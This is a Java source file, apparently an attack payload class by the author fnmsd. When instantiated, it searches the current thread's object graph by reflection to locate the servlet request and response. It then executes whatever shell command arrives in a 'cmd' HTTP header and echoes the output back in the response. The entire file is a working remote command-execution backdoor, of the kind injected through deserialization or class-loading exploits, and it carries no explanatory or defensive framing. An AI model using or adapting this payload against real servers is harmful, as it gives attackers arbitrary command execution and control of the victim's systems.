dfs_classloader.java

//Author:fnmsd
//Blog:https://blog.csdn.net/fnmsd

import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.Scanner;

public class dfs_classloader {

    static HashSet<Object> h;
    static ClassLoader cl = Thread.currentThread().getContextClassLoader();
    static Class hsr;//HTTPServletRequest.class
    static Class hsp;//HTTPServletResponse.class
    static String cmd;
    static Object r;
    static Object p;

    //    static {
//  r = null;
    //   p = null;
    // h =new HashSet<Object>();
    // F(Thread.currentThread(),0);
//    }
    public dfs_classloader()
    //static
    {
        // System.out.println("start");
        r = null;
        p = null;
        h =new HashSet<Object>();
        try {
            hsr = cl.loadClass("javax.servlet.http.HttpServletRequest");
            hsp = cl.loadClass("javax.servlet.http.HttpServletResponse");
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }

        F(Thread.currentThread(),0);
    }

    private static boolean i(Object obj){
        if(obj==null|| h.contains(obj)){
            return true;
        }

        h.add(obj);
        return false;
    }
    private static void p(Object o, int depth){
        if(depth > 52||(r !=null&& p !=null)){
            return;
        }
        if(!i(o)){
            if(r ==null&&hsr.isAssignableFrom(o.getClass())){
                r = o;
                //Tomcat特殊处理
                try {
                    cmd = (String)hsr.getMethod("getHeader",new Class[]{String.class}).invoke(o,"cmd");
                    if(cmd==null) {
                        r = null;
                    }else{
                        //System.out.println("find Request");
                        try {
                            Method getResponse = r.getClass().getMethod("getResponse");
                            p = getResponse.invoke(r);
                        } catch (Exception e) {
                            //System.out.println("getResponse Error");
                            r=null;
                            //e.printStackTrace();
                        }
                    }
                } catch (IllegalAccessException e) {
                    e.printStackTrace();
                } catch (InvocationTargetException e) {
                    e.printStackTrace();
                } catch (NoSuchMethodException e) {
                    e.printStackTrace();
                }

            }else if(p ==null&&hsp.isAssignableFrom(o.getClass())){
                p =  o;


            }
            if(r !=null&& p !=null){
                try {
                    PrintWriter pw =  (PrintWriter)hsp.getMethod("getWriter").invoke(p);
                    pw.println(new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next());
                    pw.flush();
                    pw.close();
                    //p.addHeader("out",new Scanner(Runtime.getRuntime().exec(r.getHeader("cmd")).getInputStream()).useDelimiter("\\A").next());
                }catch (Exception e){
                }
                return;
            }

            F(o,depth+1);
        }
    }
    private static void F(Object start, int depth){

        Class n=start.getClass();
        do{
            for (Field declaredField : n.getDeclaredFields()) {
                declaredField.setAccessible(true);
                Object o = null;
                try{
                    o = declaredField.get(start);

                    if(!o.getClass().isArray()){
                        p(o,depth);
                    }else{
                        for (Object q : (Object[]) o) {
                            p(q, depth);
                        }

                    }

                }catch (Exception e){
                }
            }

        }while(
                (n = n.getSuperclass())!=null
        );
    }
}